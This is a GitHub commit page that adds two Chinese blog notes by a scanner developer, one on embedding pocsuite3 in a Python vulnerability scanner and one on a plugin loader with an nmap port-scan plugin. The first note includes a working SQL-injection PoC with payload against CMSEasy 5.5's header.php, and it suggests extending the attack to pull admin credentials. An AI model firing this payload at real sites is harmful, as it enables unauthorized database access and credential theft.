-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
328 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,142 @@ | ||
# 将pocsuite集成到扫描器里 | ||
|
||
## 前言 | ||
网上关于写基于`pocsuite`相关的`poc`文章很多,但很少有讲把`pocsuite`集成到自身扫描器里面的,虽然命令行界面可以美其名曰`黑客的仪式感`,但扫描器更重要的是考虑将`天堂的门票卖给最多的人` | ||
|
||
## pocsuite3的安装 | ||
集成到python扫描器里,直接使用pip即可(指定了国内加速镜像) | ||
`pip install pocsuite3 -i https://pypi.tuna.tsinghua.edu.cn/simple` | ||
|
||
## 基于demo的修改 | ||
知道创宇之前有一个pocsuite的介绍文章[如何打造自己的PoC框架-Pocsuite3-使用篇](https://paper.seebug.org/904),里面有一个集成的demo: | ||
```python | ||
from pocsuite3.api import init_pocsuite | ||
from pocsuite3.api import start_pocsuite | ||
from pocsuite3.api import get_result | ||
from pocsuite3.api import path | ||
import os | ||
|
||
config = { | ||
'url': 'https://www.baidu.com/', | ||
'poc': os.path.join(paths.POCSUITE_ROOT_PATH, "../tests/login_demo.py"), | ||
'username': "asd", | ||
'password': 'asdss', | ||
'verbose': 0 | ||
} | ||
# config字典的配置和cli命令行参数配置一模一样 | ||
init_pocsuite(config) | ||
start_pocsuite() | ||
result = get_results().pop() | ||
print(result) | ||
``` | ||
|
||
不过这个demo的导入包有点问题 | ||
![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220216221132.png) | ||
修改一下 | ||
```python | ||
from pocsuite3.api import get_results | ||
from pocsuite3.api import paths | ||
``` | ||
然后poc的路径又出现了问题 | ||
`'poc': os.path.join(paths.POCSUITE_ROOT_PATH, "../../pocs/test.py")` | ||
|
||
这里前面拼接的path是 | ||
`C:\Users\Cl0udG0d\.virtualenvs\SZhe_Scan-oUVMoVqK\lib\site-packages\pocsuite3` | ||
我虚拟环境包的位置 | ||
|
||
使用`os.path.dirname(os.path.dirname(__file__))`修改其为我当前文件的相对位置 | ||
|
||
`'poc': os.path.join(os.path.dirname(os.path.dirname(__file__)), "../pocs/test.py")` | ||
|
||
在`pocs`文件夹下放置所有的poc文件,当需要扫描的时候读取文件夹下的所有POC依次进行扫描即可,当然这个地方也可以使用python的多线程来进行加速了 | ||
|
||
整个函数为 | ||
```python | ||
def scanPoc(url): | ||
config = { | ||
'url': url, | ||
'poc': os.path.join(os.path.dirname(os.path.dirname(__file__)), "../pocs/test.py"), | ||
'verbose': 0 | ||
} | ||
print(os.path.dirname(os.path.dirname(__file__))) | ||
# config字典的配置和cli命令行参数配置一模一样 | ||
init_pocsuite(config) | ||
start_pocsuite() | ||
result = get_results().pop() | ||
print(result) | ||
``` | ||
最后的`result`就是我们需要处理的返回结果,将其存储到数据库或者进一步操作,类型是`pocsuite`团队自己定义的`AttribDict`字典,通过键值对的方式读取内容 | ||
|
||
## 一个poc demo | ||
这里给出一个pocsuite 的 [poc demo](https://blog.csdn.net/weixin_44426869/article/details/103962994) | ||
|
||
我们自定义的poc可以在demo上进行修改即可 | ||
```python | ||
#导入所写PoC所需要类/文件,尽量不要使用第三方模块。 | ||
#迫不得已使用第三方模块有其依赖规则,后面给出。 | ||
from pocsuite3.api import Output,POCBase,register_poc,requests | ||
#PoC实现类,继承POCBase | ||
class DemoPoc(POCBase): | ||
#PoC信息字段,需要完整填写全部下列信息 | ||
vulID = '88979' #漏洞编号,若提交漏洞的同时提交PoC,则写成0 | ||
version = '1'#PoC版本,默认为1 | ||
author = ['blh']#此PoC作者 | ||
vulDate = '2014-11-03'#漏洞公开日期 | ||
createDate = '2020-01-13'#编写PoC日期 | ||
updateDate = '2020-01-13'#更新PoC日期,默认与createDate一样 | ||
references = ['https://www.seebug.org/vuldb/ssvid-88979']#漏洞地址来源,0day不写 | ||
name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'#PoC名称 | ||
appPowerLink = 'http://www.cmseasy.cn/'#漏洞产商主页 | ||
appName = 'CMSEasy'#漏洞应用名称 | ||
appVersion = '5.5'#漏洞影响版本 | ||
vulType = 'SQL Injection'#漏洞类型 | ||
desc = '''漏洞描述'''#在漏洞描述填写 | ||
samples = []#测试成功网址 | ||
install_requires = []#PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接 | ||
pocDesc = '''PoC用法描述'''#在PoC用法描述填写 | ||
|
||
#编写验证模式 | ||
def _verify(self): | ||
#验证代码 | ||
result = {} | ||
target = self.url + '/celive/live/header.php' | ||
#此处payload即为post的数据 | ||
payload = { | ||
'xajax': 'LiveMessage', | ||
'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat(" | ||
"floor(rand(0)*2),(select md5(614)))a from " | ||
"information_schema.tables group by a)b)," | ||
"'','','','1','127.0.0.1','2') #" | ||
} | ||
# 使用requests发送post请求 | ||
response = requests.post(target,payload) | ||
#‘851ddf5058cf22df63d3344ad89919cf’为0614的md5值 | ||
if '851ddf5058cf22df63d3344ad89919cf' in str(response.content): | ||
result['VerifyInfo']={} | ||
result['VerifyInfo']['URL'] = target | ||
result['VerifyInfo']['Postdata'] = payload | ||
return self.parse_output(result) | ||
#编写攻击模式,此处直接给到验证模式,读者可以自行写出payload,获取管理员账号密码等信息。 | ||
def _attack(self): | ||
return self._verify() | ||
#自定义输出函数,调用框架输出的实例Output | ||
def parse_output(self,result): | ||
output = Output(self) | ||
if result: | ||
output.success(result) | ||
else: | ||
output.fail('target is not vulnerable') | ||
return output | ||
|
||
#注册PoC类,这样框架才知道这是PoC类 | ||
register_poc(DemoPoc) | ||
``` | ||
|
||
## END | ||
|
||
建了一个微信的安全交流群,欢迎添加我微信备注`进群`,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 :) | ||
|
||
<div> | ||
<img alt="GIF" src="https://springbird.oss-cn-beijing.aliyuncs.com/img/mmqrcode1632325540724.png" width="280px" /> | ||
<img alt="GIF" src="https://springbird.oss-cn-beijing.aliyuncs.com/img/qrcode_for_gh_cead8e1080d6_344.jpg" width="280px" /> | ||
</div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,184 @@ | ||
# python插件式框架开发 | ||
|
||
## 前言 | ||
在扫描一个网站的时候,在扫描的生命周期的不同阶段有一些信息是我们想要获取的:比如在一个网站的基础信息搜集之后,我们还想对它进行端口扫描;比如我们想要检测这个网站是否存在WAF,WAF的版本,如果存在WAF的话后续的扫描就不用继续执行了;又比如在获取了一个网站中的动态URL之后,我们想要得到JS文件里面的所有接口信息等等。 | ||
|
||
同时这些需求也不是所有人都需要,因为功能越多扫描起来的速度就越慢。 | ||
|
||
它们并不是一个漏洞检测POC,因为我们想要获取的是一段探测的信息,并不只有`True`,`False`两种状态 | ||
|
||
所以我们很容易想到使用插件来实现这个功能 | ||
|
||
## Python __import__() 函数 | ||
我们主要使用`__import__() `函数来实现这个功能,`__import__() `函数用于动态加载类和函数,如果一个模块经常变化就可以使用 `__import__()` 来动态载入。 | ||
|
||
用法如下 | ||
|
||
`a.py`文件 | ||
```python | ||
#!/usr/bin/env python | ||
#encoding: utf-8 | ||
|
||
import os | ||
|
||
print ('在 a.py 文件中 %s' % id(os)) | ||
``` | ||
|
||
`test.py`文件 | ||
```python | ||
#!/usr/bin/env python | ||
#encoding: utf-8 | ||
|
||
import sys | ||
__import__('a') # 导入 a.py 模块 | ||
``` | ||
执行`test.py`文件,输出结果为 | ||
> 在 a.py 文件中 4394716136 | ||
简单来说,我们只需要将插件放置在某一个特定的目录下,然后读取该目录下的全部插件,用`__import__()`函数依次执行每个插件的运行函数即可,最后统一将结果返回存储。 | ||
|
||
## 整体实现 | ||
先简单实现了这个动态调用的功能,后期根据需要继续改进插件部分的编写 | ||
|
||
```python | ||
def scanPlugin(url,plugin,tid): | ||
tempPlugin = __import__("plugins.{}".format(plugin), fromlist=[plugin]) | ||
result=tempPlugin.run(url) | ||
saveExts(result, tid, plugin) | ||
``` | ||
|
||
`saveExts()`用来存储扫描得到的信息,`run()`函数是每个插件文件里面都需要写的,用来执行插件主体逻辑 | ||
|
||
一个端口扫描的插件如下: | ||
```python | ||
import re | ||
import socket | ||
import nmap | ||
|
||
def run(host): | ||
''' | ||
this is portscan exts example :D | ||
:param host: | ||
:return: | ||
''' | ||
pattern = re.compile('^\d+\.\d+\.\d+\.\d+(:(\d+))?$') | ||
content = "" | ||
if not pattern.findall(host): | ||
host = socket.gethostbyname(host) | ||
if pattern.findall(host) and ":" in host: | ||
host=host.split(":")[0] | ||
nm = nmap.PortScanner() | ||
try: | ||
nm.scan(host, arguments='-Pn,-sS --host-timeout=50 --max-retries=3') | ||
for proto in nm[host].all_protocols(): | ||
lport = list(nm[host][proto].keys()) | ||
for port in lport: | ||
if nm[host][proto][port]['state'] == "open": | ||
service = nm[host][proto][port]['name'] | ||
content += '[*] 主机 ' + host + ' 协议:' + proto + '\t开放端口号:' + str(port) + '\t端口服务:' + service + "\n" | ||
return content | ||
except Exception as e: | ||
nmap.sys.exit(0) | ||
pass | ||
|
||
def test(): | ||
print('hi') | ||
|
||
|
||
if __name__ == '__main__': | ||
print(run("127.0.0.1")) | ||
``` | ||
扫描本地`127.0.0.1`之后得到的结果为: | ||
![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220326225820.png) | ||
|
||
可以看到扫描端口的结果是正确的,但随之而来又存在一个新的问题,请看导入包这一部分 | ||
```python | ||
import re | ||
import socket | ||
import nmap | ||
``` | ||
这里的`nmap`包在我们本地的测试环境中是存在的,但是如果有用户上传的插件里面导入了一些我们没有的包,运行插件的时候自然会报错,导致插件导入之后也不能正常运行 | ||
|
||
考虑到很多编程语言都会有`预处理`这个过程,我们可以也可以对扫描器插件加载进行一次预处理,在刷新插件的时候,把插件内部需要导入,但是python环境里面不存在的包下载下来 | ||
|
||
这里只考虑了`python`脚本中按照`import requests`这种形式的导入,没有考虑变形的`from xxx import xxx`或者`from xxx import xxx as xxx` | ||
|
||
其正则匹配规则为`pattern = re.compile("^import (.*?)$")` | ||
|
||
一个简单的示例插件`plugin1.py` | ||
```python | ||
import requests | ||
import re | ||
|
||
def run(url): | ||
|
||
return "test {}".format(url) | ||
|
||
|
||
def test(): | ||
print('hi') | ||
|
||
|
||
if __name__ == '__main__': | ||
test() | ||
``` | ||
里面导入了`requests`和`re`包,实际上`requests`在我本地已经下载了,`re`是`python`内置的包 | ||
|
||
在`python`代码里面下载包的代码如下,这里直接用了清华源 | ||
```python | ||
from pip._internal import main | ||
def install(package,source="https://pypi.tuna.tsinghua.edu.cn/simple"): | ||
main(['install', package,'-i',source]) | ||
``` | ||
|
||
预处理的函数为 | ||
```python | ||
def getDepends(dir): | ||
pattern = re.compile("^import (.*?)$") | ||
moduleKeys=list(sys.modules.keys()) | ||
currdir = os.path.join(os.path.dirname(os.path.dirname(__file__)),dir) | ||
for files in os.listdir(currdir): | ||
if os.path.splitext(files)[1] == '.py' and not files.startswith("_"): | ||
filename = os.path.splitext(files)[0] | ||
filepath=currdir+"/"+filename+".py" | ||
logging.info("{} is Checking".format(filepath)) | ||
with open(filepath, 'r') as f: | ||
for line in f.readlines(): | ||
result=pattern.findall(line.strip()) | ||
if result: | ||
name=result[0] | ||
if name and checkLib(name,moduleKeys): | ||
logging.info("{} Lib is Loading".format(name)) | ||
install(name) | ||
else: | ||
print("{} Lib is Loaded".format(name)) | ||
return | ||
``` | ||
|
||
`name`是我们获得的包名,`checkLib(name,moduleKeys)`函数用来检测包是否下载,未下载则返回`True` | ||
|
||
考虑到内置包和`pip`下载包,所以在`try`里面分了两步进行 | ||
```python | ||
def checkLib(libName,moduleKeys): | ||
try: | ||
if libName in moduleKeys: | ||
return False | ||
importlib.import_module(libName) | ||
return False | ||
except Exception as e: | ||
logging.warning(e) | ||
return True | ||
``` | ||
检测结果为 | ||
![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220327210610.png) | ||
|
||
使用`pip uninstall`卸载掉`requests`包,重新运行 | ||
![](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20220327210750.png) | ||
下载成功,实现了预处理下载的功能 | ||
|
||
|
||
|
||
## 参考链接 | ||
+ `https://www.jianshu.com/p/a472f44c7161` | ||
+ `https://www.runoob.com/python/python-func-__import__.html` | ||
+ `https://www.jb51.net/article/232964.htm` |